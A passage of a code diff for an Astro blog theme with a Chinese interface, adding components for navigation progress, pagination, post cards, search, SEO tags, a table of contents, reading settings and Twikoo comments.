const current = Number.parseFloat(currentBar.dataset.progress ?? '0');
const next = current + (0.99 - current) * 0.025;
currentBar.dataset.progress = String(next);
setProgress(currentBar, next);
}, 240);
};
const finish = () => {
const { root, bar } = getElements();
if (!root || !bar) return;
window.clearInterval(timer);
completionAnimation?.cancel();
hideAnimation?.cancel();
const current = Number.parseFloat(bar.dataset.progress ?? '0');
const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
const duration = reducedMotion ? 1 : 300;
root.classList.add('is-finishing');
root.style.transform = 'translateY(0)';
bar.style.transition = 'none';
setProgress(bar, current);
completionAnimation = bar.animate(
[{ transform: `scaleX(${current})` }, { transform: 'scaleX(1)' }],
{ duration, easing: 'cubic-bezier(0.33, 1, 0.68, 1)', fill: 'forwards' }
);
completionAnimation.onfinish = () => {
const currentElements = getElements();
if (!currentElements.root || !currentElements.bar || currentElements.bar !== bar) return;
bar.dataset.progress = '1';
bar.style.transform = 'scaleX(1)';
currentElements.root.classList.add('is-hiding');
hideAnimation = currentElements.root.animate(
[{ transform: 'translateY(0)' }, { transform: 'translateY(-100%)' }],
{ duration: reducedMotion ? 1 : 300, easing: 'cubic-bezier(0.33, 1, 0.68, 1)', fill: 'forwards' }
);
hideAnimation.onfinish = () => {
const latestElements = getElements();
if (!latestElements.root || !latestElements.bar || latestElements.bar !== bar) return;
latestElements.root.classList.remove('is-visible', 'is-finishing', 'is-hiding');
latestElements.root.style.transform = '';
latestElements.bar.dataset.progress = '0';
latestElements.bar.style.transition = '';
setProgress(latestElements.bar, 0);
latestElements.bar.getAnimations().forEach((animation) => animation.cancel());
latestElements.root.getAnimations().forEach((animation) => animation.cancel());
};
};
};
document.addEventListener('astro:before-preparation', start);
document.addEventListener('astro:page-load', finish);
</script>
<style is:global>
.navigation-progress {
position: fixed;
z-index: 999;
top: 0;
right: 0;
left: 0;
height: 3px;
min-height: 3px;
max-height: 3px;
overflow: hidden;
box-sizing: border-box;
display: block;
pointer-events: none;
contain: strict;
transform: translateY(-100%);
transition: transform 240ms cubic-bezier(0.33, 1, 0.68, 1);
}
.navigation-progress.is-visible { transform: translateY(0); }
.navigation-progress.is-hiding { transform: translateY(-100%); }
.navigation-progress__bar {
display: block;
width: 100%;
height: 100%;
min-height: 3px;
max-height: 3px;
background: var(--color-accent);
box-shadow: 0 3px 8px rgb(0 0 0 / 35%);
transform: scaleX(0);
transform-origin: left center;
transition: transform 240ms linear;
}
.navigation-progress.is-finishing .navigation-progress__bar {
transition: transform 700ms cubic-bezier(0.33, 1, 0.68, 1);
}
@media (prefers-reduced-motion: reduce) {
.navigation-progress,
.navigation-progress__bar { transition: none; }
}
</style>
+10
View File
@@ -0,0 +1,10 @@
---
interface Props { current: number; total: number; basePath: string; }
const { current, total, basePath } = Astro.props;
const path = (page: number) => page === 1 ? `${basePath}/` : `${basePath}/page/${page}/`;
const buttonClass = 'rounded-[4px] border border-mirages-accent px-7 py-2 text-sm font-bold text-mirages-accent no-underline hover:bg-mirages-accent hover:text-white';
---
{total > 1 && <nav class="mt-8 flex min-h-10 items-center justify-between gap-4" aria-label="分页">
{current > 1 ? <a class={buttonClass} href={path(current - 1)} aria-label="上一页">上一页</a> : <span></span>}
{current < total && <a class={buttonClass} href={path(current + 1)} aria-label="下一页">下一页</a>}
</nav>}
+28
View File
@@ -0,0 +1,28 @@
---
import type { PostEntry } from '@/lib/content';
import { getPostCardImage, getPostPath, getPostTaxonomy } from '@/lib/content';
import { siteConfig } from '@/site.config';
interface Props { post: PostEntry; }
const { post } = Astro.props;
const postPath = getPostPath(post);
const taxonomy = getPostTaxonomy(post);
const categories = taxonomy.categories.join(', ');
const date = [post.data.pubDate.getFullYear(), post.data.pubDate.getMonth() + 1, post.data.pubDate.getDate()]
.map((part, index) => index === 0 ? String(part) : String(part).padStart(2, '0'))
.join('-');
const image = getPostCardImage(post, siteConfig.cards.defaultCovers, siteConfig.site.url);
---
<article class="py-[0.9375rem] md:py-[0.9375rem]" data-pagefind-ignore="index">
<a class="group relative block h-50 overflow-hidden rounded-[0.3125rem] bg-[#444] text-white no-underline shadow-sm transition-[transform,box-shadow] duration-300 ease-in-out hover:[transform:translateY(-4px)_scale(1.05)] hover:text-white hover:shadow-[0_22px_43px_rgb(0_0_0/15%)] max-[21rem]:h-42 md:h-62" href={postPath}>
{image && <img class="absolute inset-0 size-full object-cover" src={image} alt="" loading="lazy" />}
<span class="absolute inset-0 z-10 bg-black/25" aria-hidden="true"></span>
<div class="absolute inset-0 z-20 flex flex-col items-center justify-center px-4 py-4 text-center md:px-6">
<h2 class="post-card-title m-0 max-w-[90%] [overflow-wrap:anywhere] font-sans text-[1.5625rem] leading-tight font-normal tracking-[0]" data-pagefind-weight="3">{post.data.title}</h2>
<p class="mt-3 mb-0 max-w-[90%] [overflow-wrap:anywhere] text-[0.8125rem] leading-relaxed font-normal text-[#eee] [font-family:Consolas,Menlo,Monaco,'lucida_console','Liberation_Mono','Courier_New','andale_mono',monospaceX,monospace,sans-serif]"><time datetime={post.data.pubDate.toISOString()}>{date}</time>{categories && <><span> · </span><span class="[font-family:var(--mirages-font-ui)]">{categories}</span></>}</p>
</div>
</a>
</article>
<style>
:global(:root[data-font='serif']) .post-card-title { font-weight: 500; }
</style>
+15
View File
@@ -0,0 +1,15 @@
---
import type { PostEntry } from '@/lib/content';
import PostCard from './PostCard.astro';
import Pagination from './Pagination.astro';
interface Props { posts: PostEntry[]; title?: string; description?: string; current?: number; total?: number; basePath?: string; }
const { posts, title, description, current = 1, total = 1, basePath = '' } = Astro.props;
---
<section class="mx-auto w-full px-5 pt-8 pb-14 md:max-w-[752px] md:px-0 md:pt-10 min-[1302px]:max-w-[896px] min-[1600px]:max-w-[928px] min-[1800px]:max-w-[992px] min-[2000px]:max-w-[1024px] min-[2400px]:max-w-[1056px]" aria-labelledby={title ? 'list-title' : undefined}>
{title && <header class="mb-5 border-b border-line pb-3">
<h1 class="m-0 text-xl leading-tight font-normal tracking-[0]" id="list-title">{title}</h1>
{description && <p class="mt-1 mb-0 text-sm text-subtle">{description}</p>}
</header>}
{posts.length > 0 ? posts.map((post) => <PostCard post={post} />) : <p class="py-8 text-subtle">暂时还没有已发布的文章。</p>}
<Pagination current={current} total={total} basePath={basePath} />
</section>
+14
View File
@@ -0,0 +1,14 @@
---
import type { PostEntry } from '@/lib/content';
import { getPostTaxonomy, slugify } from '@/lib/content';
interface Props { post: PostEntry; compact?: boolean; showTags?: boolean; }
const { post, compact = false, showTags = true } = Astro.props;
const taxonomy = getPostTaxonomy(post);
const date = post.data.pubDate.toLocaleDateString('zh-CN', { year: 'numeric', month: 'short', day: 'numeric' });
---
<div class="flex flex-wrap items-center justify-center gap-2 text-sm text-subtle">
<time datetime={post.data.pubDate.toISOString()}>{date}</time>
{!compact && taxonomy.categories.length > 0 && <span aria-hidden="true">·</span>}
{!compact && taxonomy.categories.map((category) => <a data-text-link href={`/categories/${slugify(category)}/`}>{category}</a>)}
{!compact && showTags && taxonomy.tags.length > 0 && <span class="inline-flex flex-wrap gap-2" aria-label="标签">{taxonomy.tags.map((tag) => <a class="no-underline" href={`/tags/${slugify(tag)}/`}>#{tag}</a>)}</span>}
</div>
+90
View File
@@ -0,0 +1,90 @@
---
import { Search as SearchIcon } from '@lucide/astro';
import { siteConfig } from '@/site.config';
interface Props { mobile?: boolean; }
const { mobile = false } = Astro.props;
const placeholder = siteConfig.search.provider === 'pagefind' ? siteConfig.search.placeholder : '搜索';
---
<div class:list={['relative', { 'w-full': mobile, 'navbar-search-container': !mobile }]} data-search-root data-mobile-search={mobile ? '' : undefined}>
{!mobile && <button class="grid size-[2.5rem] cursor-pointer place-items-center border-0 bg-transparent text-current hover:bg-current/10" type="button" aria-label="展开搜索" title="搜索" aria-expanded="false" data-search-toggle>
<SearchIcon aria-hidden="true" size="1em" />
</button>}
<form class:list={['search-form items-center border-b text-current', mobile ? 'flex w-full border-line px-1' : 'absolute top-0 right-[2.5rem] flex h-[2.5rem] w-[18rem] border-current/50 bg-nav px-2 opacity-0 shadow-sm pointer-events-none']} action={`${import.meta.env.BASE_URL}search/`} method="get" role="search" data-search-form>
<input class="min-w-0 flex-1 border-0 bg-transparent px-2 py-2 text-sm text-current outline-none ring-0 shadow-none focus:border-0 focus:outline-none focus:ring-0 focus:shadow-none placeholder:text-current/65" type="search" name="q" required placeholder={placeholder} autocomplete="off" spellcheck="false" aria-label="搜索文章" data-search-input />
{mobile && <button class="grid size-[2rem] shrink-0 cursor-pointer place-items-center border-0 bg-transparent text-current hover:bg-current/10" type="submit" aria-label="搜索" title="搜索"><SearchIcon aria-hidden="true" size="1em" /></button>}
</form>
</div>
<script>
const closeSearch = (root: HTMLElement, restoreFocus = false) => {
const input = root.querySelector<HTMLInputElement>('[data-search-input]');
const toggle = root.querySelector<HTMLButtonElement>('[data-search-toggle]');
if (root.hasAttribute('data-mobile-search')) input?.blur();
else {
root.classList.remove('is-open');
toggle?.setAttribute('aria-expanded', 'false');
if (restoreFocus) toggle?.focus();
}
};
document.addEventListener('click', (event) => {
if (!(event.target instanceof Element)) return;
const toggle = event.target.closest<HTMLButtonElement>('[data-search-toggle]');
if (!toggle) return;
const root = toggle.closest<HTMLElement>('[data-search-root]');
if (!root) return;
if (root.classList.contains('is-open')) closeSearch(root, true);
else {
root.classList.add('is-open');
toggle.setAttribute('aria-expanded', 'true');
requestAnimationFrame(() => root.querySelector<HTMLInputElement>('[data-search-input]')?.focus());
}
});
document.addEventListener('submit', (event) => {
const form = event.target;
if (!(form instanceof HTMLFormElement) || !form.matches('[data-search-form]')) return;
if (!form.querySelector<HTMLInputElement>('[data-search-input]')?.value.trim()) event.preventDefault();
});
document.addEventListener('keydown', (event) => {
if (event.key !== 'Escape' || !(event.target instanceof Element)) return;
const root = event.target.closest<HTMLElement>('[data-search-root]');
if (!root) return;
event.preventDefault();
closeSearch(root, true);
});
document.addEventListener('pointerdown', (event) => {
document.querySelectorAll<HTMLElement>('[data-search-root].is-open').forEach((root) => {
if (!root.contains(event.target as Node)) closeSearch(root);
});
});
</script>
<style is:global>
.navbar-search-container > .search-form {
transform-origin: right center;
scale: 0 1;
transition: scale 200ms ease-out, opacity 200ms ease-out;
}
.search-form input[type='search']::-webkit-search-cancel-button {
width: 1em;
height: 1em;
margin-inline: 0.25em;
}
.navbar-search-container.is-open > .search-form {
pointer-events: auto;
scale: 1 1;
opacity: 1;
}
/* The search field deliberately keeps focus semantics without a visible focus treatment. */
.search-form [data-search-input]:is(:focus, :focus-visible) {
border-color: transparent !important;
outline: none !important;
outline-offset: 0 !important;
box-shadow: none !important;
}
</style>
+34
View File
@@ -0,0 +1,34 @@
---
import { siteConfig } from '@/site.config';
interface Props {
title?: string;
description?: string;
image?: string;
type?: 'website' | 'article';
noindex?: boolean;
}
const {
title,
description = siteConfig.site.description,
image,
type = 'website',
noindex = false
} = Astro.props;
const pageTitle = title ? `${title} - ${siteConfig.site.title}` : siteConfig.site.title;
const canonical = new URL(Astro.url.pathname, siteConfig.site.url);
const imageUrl = image ? new URL(image, siteConfig.site.url) : undefined;
---
<title>{pageTitle}</title>
<meta name="description" content={description} />
<link rel="canonical" href={canonical} />
<meta property="og:type" content={type} />
<meta property="og:title" content={pageTitle} />
<meta property="og:description" content={description} />
<meta property="og:url" content={canonical} />
<meta property="og:site_name" content={siteConfig.site.title} />
{imageUrl && <meta property="og:image" content={imageUrl} />}
<meta name="twitter:card" content={imageUrl ? 'summary_large_image' : 'summary'} />
{noindex && <meta name="robots" content="noindex, nofollow" />}
+227
View File
@@ -0,0 +1,227 @@
---
import type { MarkdownHeading } from 'astro';
import { ListTree, X } from '@lucide/astro';
interface Props {
headings: MarkdownHeading[];
position?: 'left' | 'right';
}
const { headings } = Astro.props;
const visibleHeadings = headings.filter((heading) => heading.depth >= 2 && heading.depth <= 4);
---
{visibleHeadings.length > 0 && (
<div class="toc" data-toc-root data-pagefind-ignore="all">
<button class="toc-toggle" type="button" aria-label="打开文章目录" aria-controls="article-toc" aria-expanded="false" aria-hidden="false" data-toc-toggle>
<ListTree class="toc-open-icon" aria-hidden="true" size={18} />
<X class="toc-close-icon" aria-hidden="true" size={18} />
</button>
<div class="toc-backdrop" aria-hidden="true" data-toc-backdrop></div>
<aside class="toc-drawer" id="article-toc" aria-label="文章目录" aria-hidden="true" data-toc-drawer>
<header class="toc-header">
<h2>文章目录</h2>
</header>
<nav>
<ul>
{visibleHeadings.map((heading) => (
<li class={`depth-${heading.depth}`}><a href={`#${heading.slug}`}>{heading.text}</a></li>
))}
</ul>
</nav>
</aside>
</div>
)}
<style>
.toc {
--toc-drawer-width: min(280px, calc(100vw - 18px));
}
.toc-toggle {
position: fixed;
z-index: 43;
top: 50%;
right: 0;
display: grid;
width: 32px;
height: 32px;
padding: 0;
border: 1px solid var(--color-border);
border-right: 0;
border-radius: 4px 0 0 4px;
background: var(--color-surface);
color: var(--color-muted);
box-shadow: none;
cursor: pointer;
transform: translateY(-50%);
transition: right 220ms ease, color var(--transition-fast), background var(--transition-fast);
place-items: center;
}
.toc-close-icon { display: none; }
.toc-toggle:hover,
.toc-toggle[aria-expanded='true'] {
color: var(--color-accent-strong);
}
.toc-backdrop {
position: fixed;
z-index: 41;
inset: 0;
background: rgb(0 0 0 / 28%);
opacity: 0;
pointer-events: none;
transition: opacity var(--transition-fast);
}
.toc-drawer {
position: fixed;
z-index: 42;
top: 0;
right: 0;
bottom: 0;
width: var(--toc-drawer-width);
padding: max(18px, env(safe-area-inset-top)) 22px max(18px, env(safe-area-inset-bottom));
border-left: 1px solid var(--color-border);
background: var(--color-bg);
color: var(--color-text);
box-shadow: none;
overflow-y: auto;
transform: translateX(100%);
transition: transform 220ms ease;
}
.toc.is-open .toc-backdrop {
opacity: 1;
pointer-events: auto;
}
.toc.is-open .toc-drawer {
transform: translateX(0);
}
.toc.is-open .toc-toggle {
right: var(--toc-drawer-width);
}
.toc.is-open .toc-open-icon { display: none; }
.toc.is-open .toc-close-icon { display: block; }
.toc-header {
display: flex;
min-height: 42px;
align-items: center;
margin-bottom: 14px;
border-bottom: 1px solid var(--color-border);
padding-bottom: 10px;
}
.toc-header h2 {
margin: 0;
font-family: var(--reading-font-family);
font-size: .9rem;
font-weight: 700;
}
.toc ul {
margin: 0;
padding: 0;
list-style: none;
}
.toc li {
margin: 4px 0;
font-family: var(--reading-font-family);
font-size: .86rem;
line-height: 1.45;
}
.toc li a {
display: block;
border-left: 2px solid transparent;
padding: 7px 8px;
color: var(--color-muted);
text-decoration: none;
}
.toc li a:hover,
.toc li a[aria-current] {
border-left-color: var(--color-accent);
color: var(--color-accent-strong);
}
.toc li a[aria-current] {
background: color-mix(in srgb, var(--color-accent) 9%, transparent);
font-weight: 700;
}
.toc .depth-3 { padding-left: 12px; }
.toc .depth-4 { padding-left: 24px; font-size: .8rem; }
</style>
<script>
const setOpen = (open: boolean, restoreFocus = false) => {
const root = document.querySelector<HTMLElement>('[data-toc-root]');
const toggle = root?.querySelector<HTMLButtonElement>('[data-toc-toggle]');
const drawer = root?.querySelector<HTMLElement>('[data-toc-drawer]');
const backdrop = root?.querySelector<HTMLElement>('[data-toc-backdrop]');
root?.classList.toggle('is-open', open);
toggle?.setAttribute('aria-expanded', String(open));
toggle?.setAttribute('aria-label', open ? '关闭文章目录' : '打开文章目录');
drawer?.setAttribute('aria-hidden', String(!open));
backdrop?.setAttribute('aria-hidden', String(!open));
document.body.classList.toggle('toc-drawer-open', open);
if (restoreFocus) toggle?.focus();
};
document.addEventListener('click', (event) => {
if (!(event.target instanceof Element)) return;
const target = event.target;
const toggle = target.closest<HTMLButtonElement>('[data-toc-toggle]');
const backdrop = target.closest<HTMLElement>('[data-toc-backdrop]');
const link = target.closest<HTMLAnchorElement>('[data-toc-drawer] a[href^="#"]');
if (toggle) {
setOpen(toggle.getAttribute('aria-expanded') !== 'true', true);
} else if (backdrop) {
setOpen(false, true);
} else if (link) {
setOpen(false);
}
});
document.addEventListener('keydown', (event) => {
const toggle = document.querySelector<HTMLButtonElement>('[data-toc-toggle]');
if (event.key === 'Escape' && toggle?.getAttribute('aria-expanded') === 'true') setOpen(false, true);
});
const updateCurrent = () => {
const root = document.querySelector<HTMLElement>('[data-toc-root]');
const links = [...(root?.querySelectorAll<HTMLAnchorElement>('a[href^="#"]') ?? [])];
const headingLinks = links.map((link) => ({ link, heading: document.getElementById(decodeURIComponent(link.hash.slice(1))) })).filter((item): item is { link: HTMLAnchorElement; heading: HTMLElement } => Boolean(item.heading));
if (!headingLinks.length) return;
const current = headingLinks.reduce((active, item) => item.heading.getBoundingClientRect().top <= 112 ? item : active, headingLinks[0]);
headingLinks.forEach(({ link }) => {
if (link === current.link) link.setAttribute('aria-current', 'location');
else link.removeAttribute('aria-current');
});
};
{
let ticking = false;
window.addEventListener('scroll', () => {
if (!ticking) {
ticking = true;
requestAnimationFrame(() => {
updateCurrent();
ticking = false;
});
}
}, { passive: true });
updateCurrent();
document.addEventListener('astro:page-load', updateCurrent);
document.addEventListener('astro:before-preparation', () => setOpen(false));
}
</script>
+165
View File
@@ -0,0 +1,165 @@
---
import { CloudSun, Monitor, Moon, Minus, Plus, Sun, Type } from '@lucide/astro';
interface Props { placement?: 'down' | 'up'; }
const { placement = 'down' } = Astro.props;
const themes = [
{ value: 'auto', label: '自动', icon: Monitor },
{ value: 'light', label: '日间', icon: Sun },
{ value: 'sunset', label: '日落', icon: CloudSun },
{ value: 'dark', label: '夜间', icon: Moon }
] as const;
---
<details class:list={[placement === 'down' ? 'relative' : 'static', { 'placement-up': placement === 'up' }]} data-reading-settings>
<summary class="grid size-[2.5rem] cursor-pointer list-none place-items-center text-current/80 hover:bg-current/10 hover:text-current [&::-webkit-details-marker]:hidden" aria-label="打开阅读设置" aria-expanded="false" title="阅读设置">
<Type aria-hidden="true" size="1em" />
</summary>
<div class:list={['reading-settings-panel absolute z-[80] border border-line bg-raised p-[0.75rem] shadow-mirages', placement === 'up' ? 'bottom-[calc(100%+0.5rem)] left-0 w-[min(17.5rem,84vw)] max-w-[calc(100vw-1.75rem)] max-h-[calc(100svh-1.75rem)] overflow-y-auto' : 'top-[calc(100%+0.5rem)] right-0 w-[min(17.875rem,calc(100vw-1.75rem))]']} role="dialog" aria-label="阅读设置">
<div class="m-0">
<div class="mb-[0.25rem] flex items-center gap-[0.5rem]">
<h3 class="m-0 shrink-0 text-xs font-normal leading-5 text-subtle">颜色主题</h3>
<span class="h-px min-w-0 flex-1 bg-line" aria-hidden="true"></span>
</div>
<div class="grid grid-cols-4 gap-1" role="radiogroup" aria-label="颜色主题">
{themes.map(({ value, label, icon: Icon }) => (
<button class="grid min-h-[3.5rem] cursor-pointer place-items-center gap-[0.125rem] border border-transparent bg-transparent px-[0.25rem] py-[0.25rem] text-xs text-foreground hover:border-line hover:bg-mirages-accent/10" type="button" role="radio" aria-checked="false" data-theme-value={value}>
<Icon aria-hidden="true" size="1.0625rem" />
<span>{label}</span>
</button>
))}
</div>
</div>
<div class="mt-[0.375rem]">
<div class="mb-[0.25rem] flex items-center gap-[0.5rem]">
<h3 class="m-0 shrink-0 text-xs font-normal leading-5 text-subtle">字号</h3>
<span class="h-px min-w-0 flex-1 bg-line" aria-hidden="true"></span>
</div>
<div class="flex items-center gap-[0.5rem]">
<button class="grid h-[2rem] min-w-0 flex-[2] cursor-pointer place-items-center border border-line bg-transparent text-foreground hover:bg-mirages-accent/10" type="button" aria-label="减小字号" data-scale-step="-5"><Minus aria-hidden="true" size="1em" /></button>
<output class="min-w-0 flex-1 text-center text-xs font-semibold" data-scale-output>100%</output>
<button class="grid h-[2rem] min-w-0 flex-[2] cursor-pointer place-items-center border border-line bg-transparent text-foreground hover:bg-mirages-accent/10" type="button" aria-label="增大字号" data-scale-step="5"><Plus aria-hidden="true" size="1em" /></button>
</div>
</div>
<div class="mt-[0.375rem]">
<div class="mb-[0.25rem] flex items-center gap-[0.5rem]">
<h3 class="m-0 shrink-0 text-xs font-normal leading-5 text-subtle">字体</h3>
<span class="h-px min-w-0 flex-1 bg-line" aria-hidden="true"></span>
</div>
<div class="grid grid-cols-2 gap-1" role="radiogroup" aria-label="字体">
<button class="cursor-pointer border border-line bg-transparent px-[0.5rem] py-[0.375rem] text-xs text-foreground hover:bg-mirages-accent/10 [font-family:var(--mirages-font-serif)]" type="button" role="radio" aria-checked="false" data-font-value="serif">宋体</button>
<button class="cursor-pointer border border-line bg-transparent px-[0.5rem] py-[0.375rem] text-xs text-foreground hover:bg-mirages-accent/10 [font-family:var(--mirages-font-sans)]" type="button" role="radio" aria-checked="false" data-font-value="sans">黑体</button>
</div>
</div>
</div>
</details>
<script>
const root = document.documentElement;
const getStoredFont = () => {
const font = localStorage.getItem('mirages-font-family');
return font === 'serif' || font === 'sans' ? font : 'sans';
};
const getStoredTheme = () => {
const theme = localStorage.getItem('mirages-theme');
return theme === 'auto' || theme === 'light' || theme === 'sunset' || theme === 'dark' ? theme : null;
};
const syncSwitchers = (theme: string) => {
const switchers = document.querySelectorAll<HTMLElement>('[data-reading-settings]');
switchers.forEach((switcher) => {
switcher.querySelectorAll<HTMLButtonElement>('[data-theme-value]').forEach((button) => {
button.setAttribute('aria-checked', String(button.dataset.themeValue === theme));
});
switcher.querySelectorAll<HTMLButtonElement>('[data-font-value]').forEach((button) => {
button.setAttribute('aria-checked', String(button.dataset.fontValue === (root.dataset.font ?? 'sans')));
});
});
};
const getScale = () => {
const storedScale = Number(localStorage.getItem('mirages-font-scale'));
return Math.min(150, Math.max(80, Math.round((storedScale >= 0.8 && storedScale <= 1.5 ? storedScale * 100 : storedScale >= 80 && storedScale <= 150 ? storedScale : 100) / 5) * 5));
};
const syncScale = (value: number, persist = true) => {
const scale = Math.min(150, Math.max(80, Math.round(value / 5) * 5));
root.style.fontSize = `${scale}%`;
document.querySelectorAll<HTMLOutputElement>('[data-scale-output]').forEach((output) => {
output.value = `${scale}%`;
output.textContent = `${scale}%`;
});
if (persist) localStorage.setItem('mirages-font-scale', String(scale / 100));
};
root.dataset.font = getStoredFont();
syncSwitchers(root.dataset.theme ?? 'auto');
syncScale(getScale(), false);
document.addEventListener('click', (event) => {
if (!(event.target instanceof Element)) return;
const target = event.target;
const switcher = target.closest<HTMLElement>('[data-reading-settings]');
if (!switcher) return;
const theme = target.closest<HTMLButtonElement>('[data-theme-value]')?.dataset.themeValue;
if (theme) {
root.dataset.theme = theme;
localStorage.setItem('mirages-theme', theme);
syncSwitchers(theme);
return;
}
const step = target.closest<HTMLButtonElement>('[data-scale-step]')?.dataset.scaleStep;
if (step) {
syncScale((Number.parseFloat(root.style.fontSize) || getScale()) + Number(step));
return;
}
const font = target.closest<HTMLButtonElement>('[data-font-value]')?.dataset.fontValue;
if (font) {
root.dataset.font = font;
localStorage.setItem('mirages-font-family', font);
syncSwitchers(root.dataset.theme ?? 'auto');
}
});
document.addEventListener('toggle', (event) => {
const switcher = event.target as HTMLElement;
if (!switcher.matches('[data-reading-settings]')) return;
const trigger = switcher.querySelector<HTMLElement>('summary');
const open = switcher.hasAttribute('open');
trigger?.setAttribute('aria-expanded', String(open));
if (open) {
document.querySelectorAll<HTMLElement>('[data-reading-settings]').forEach((other) => { if (other !== switcher) other.removeAttribute('open'); });
switcher.querySelector<HTMLButtonElement>('[data-theme-value]')?.focus();
}
}, true);
document.addEventListener('keydown', (event) => {
if (event.key !== 'Escape' || !(event.target instanceof Element)) return;
const switcher = event.target.closest<HTMLElement>('[data-reading-settings]');
if (!switcher) return;
event.preventDefault();
event.stopPropagation();
switcher.removeAttribute('open');
switcher.querySelector<HTMLElement>('summary')?.focus();
});
document.addEventListener('pointerdown', (event) => {
document.querySelectorAll<HTMLElement>('[data-reading-settings]').forEach((switcher) => {
if (!switcher.contains(event.target as Node)) switcher.removeAttribute('open');
});
});
document.addEventListener('astro:before-swap', (event) => {
const theme = getStoredTheme();
if (theme) event.newDocument.documentElement.dataset.theme = theme;
});
document.addEventListener('astro:page-load', () => {
root.dataset.theme = getStoredTheme() ?? root.dataset.theme ?? 'auto';
root.dataset.font = getStoredFont();
syncSwitchers(root.dataset.theme ?? 'auto');
syncScale(getScale(), false);
});
</script>
<style>
button[aria-checked='true'] { border-color: var(--color-accent); background: color-mix(in srgb, var(--color-accent) 10%, transparent); }
[data-reading-settings] > summary { border-radius: var(--radius-sm); }
.reading-settings-panel,
.reading-settings-panel button { font-family: var(--reading-font-family); }
.reading-settings-panel button[data-font-value='serif'] { font-family: var(--mirages-font-serif) !important; }
.reading-settings-panel button[data-font-value='sans'] { font-family: var(--mirages-font-sans) !important; }
</style>
+11
View File
@@ -0,0 +1,11 @@
---
import { Link, Rss, Search, TramFront, Type } from '@lucide/astro';
import type { ToolbarIcon as ToolbarIconName } from '@/types/config';
interface Props { icon: ToolbarIconName; }
const { icon } = Astro.props;
const icons = { link: Link, rss: Rss, search: Search, settings: Type, 'tram-front': TramFront } as const;
const Icon = icons[icon];
---
<Icon aria-hidden="true" size="1em" />
+69
View File
@@ -0,0 +1,69 @@
<script is:inline>
(() => {
const state = window.__miragesTwikoo ??= {};
if (state.clientBound) return;
state.clientBound = true;
const loadScript = () => {
if (state.script) return state.script;
state.script = new Promise((resolve, reject) => {
if (window.twikoo) return resolve(window.twikoo);
const sources = [
'https://registry.npmmirror.com/twikoo/1.7.15/files/dist/twikoo.nocss.js',
'https://cdn.jsdelivr.net/npm/twikoo@1.7.15/dist/twikoo.nocss.js'
];
const loadSource = (index) => {
if (index >= sources.length) return reject(new Error('Twikoo 加载失败'));
const script = document.createElement('script');
const timer = window.setTimeout(() => { script.remove(); loadSource(index + 1); }, 8000);
script.src = sources[index];
script.async = true;
script.onload = () => { window.clearTimeout(timer); window.twikoo ? resolve(window.twikoo) : loadSource(index + 1); };
script.onerror = () => { window.clearTimeout(timer); loadSource(index + 1); };
document.head.appendChild(script);
};
loadSource(0);
});
return state.script;
};
const waitForStyles = () => {
const link = document.querySelector('link[data-twikoo-styles]');
if (!(link instanceof HTMLLinkElement) || link.sheet) return Promise.resolve();
return new Promise((resolve) => {
link.addEventListener('load', () => resolve(), { once: true });
link.addEventListener('error', () => resolve(), { once: true });
});
};
const initCurrentComments = () => {
const root = document.querySelector('#twikoo-comments');
if (!(root instanceof HTMLElement) || root.dataset.twikooBound) return;
let config;
try {
config = JSON.parse(root.dataset.twikooConfig ?? '{}');
} catch {
return;
}
root.dataset.twikooBound = 'true';
root.dataset.twikooState = 'loading';
Promise.all([loadScript(), waitForStyles()]).then(([twikoo]) => {
if (!root.isConnected || document.querySelector('#twikoo-comments') !== root) return;
return twikoo.init({ ...config, el: '#twikoo-comments' });
}).then(() => {
if (root.isConnected) root.dataset.twikooState = 'ready';
}).catch(() => {
if (root.isConnected) {
root.dataset.twikooState = 'error';
root.setAttribute('data-twikoo-error', 'true');
}
});
};
initCurrentComments();
document.addEventListener('astro:page-load', initCurrentComments);
document.addEventListener('astro:before-swap', () => {
document.querySelector('#twikoo-comments')?.replaceChildren();
});
})();
</script>
+37
View File
@@ -0,0 +1,37 @@
---
import { siteConfig } from '@/site.config';
const enabled = siteConfig.comments.provider === 'twikoo' && Boolean(siteConfig.comments.envId.trim());
const clientConfig = siteConfig.comments.provider === 'twikoo' && siteConfig.comments.envId.trim() ? {
envId: siteConfig.comments.envId,
...(siteConfig.comments.envId.startsWith('http') ? {} : { region: siteConfig.comments.region })
} : null;
---
{enabled && clientConfig && <script is:inline define:vars={{ config: clientConfig }}>
(() => {
const nodes = [...document.querySelectorAll('[data-twikoo-url]')];
if (!nodes.length) return;
const start = () => {
const urls = [...new Set(nodes.map((node) => node.dataset.twikooUrl).filter(Boolean))];
const state = window.__miragesTwikoo ??= {};
const load = state.script ??= new Promise((resolve, reject) => {
if (window.twikoo) return resolve(window.twikoo);
const script = document.createElement('script');
script.src = 'https://registry.npmmirror.com/twikoo/1.7.15/files/dist/twikoo.nocss.js';
script.async = true;
script.onload = () => window.twikoo ? resolve(window.twikoo) : reject(new Error('Twikoo 不可用'));
script.onerror = () => reject(new Error('Twikoo 加载失败'));
document.head.appendChild(script);
});
load.then((twikoo) => twikoo.getCommentsCount({ envId: config.envId, region: config.region, urls, includeReply: false }))
.then((counts) => (counts ?? []).forEach((item) => {
const target = nodes.find((node) => node.dataset.twikooUrl === item.url)?.querySelector('[data-twikoo-count]');
if (typeof item.count === 'number' && target) {
target.textContent = `${item.count} 条评论`;
target.hidden = false;
}
})).catch(() => undefined);
};
const idle = window.requestIdleCallback ?? ((callback) => window.setTimeout(callback, 1));
idle(start);
})();
</script>}
+173
View File
@@ -0,0 +1,173 @@
---
import { siteConfig } from '@/site.config';
interface Props { enabled: boolean; path?: string; }
const { enabled, path } = Astro.props;
const comments = siteConfig.comments;
const config = comments.provider === 'twikoo' && comments.envId.trim() ? {
envId: comments.envId,
lang: comments.lang ?? siteConfig.site.locale,
path: comments.path ?? path ?? Astro.url.pathname,
...(comments.envId.startsWith('http') ? {} : { region: comments.region })
} : null;
---
{enabled && config && <section class="comments-shell" id="comments" aria-labelledby="comments-title">
<h2 id="comments-title">评论</h2>
<div id="twikoo-comments" data-twikoo-config={JSON.stringify(config)} data-twikoo-state="idle"></div>
</section>}
{enabled && !config && <section class="comments-shell comments-preview" id="comments" aria-labelledby="comments-title" data-pagefind-ignore="all">
<h2 id="comments-title">评论</h2>
<div class="twikoo-preview" aria-label="Twikoo 评论预览">
<p class="twikoo-preview-status">Twikoo 尚未配置</p>
<div class="twikoo-preview-fields" aria-hidden="true">
<span>昵称</span><span>邮箱</span><span>网址</span>
</div>
<div class="twikoo-preview-editor" aria-hidden="true">留下你的评论...</div>
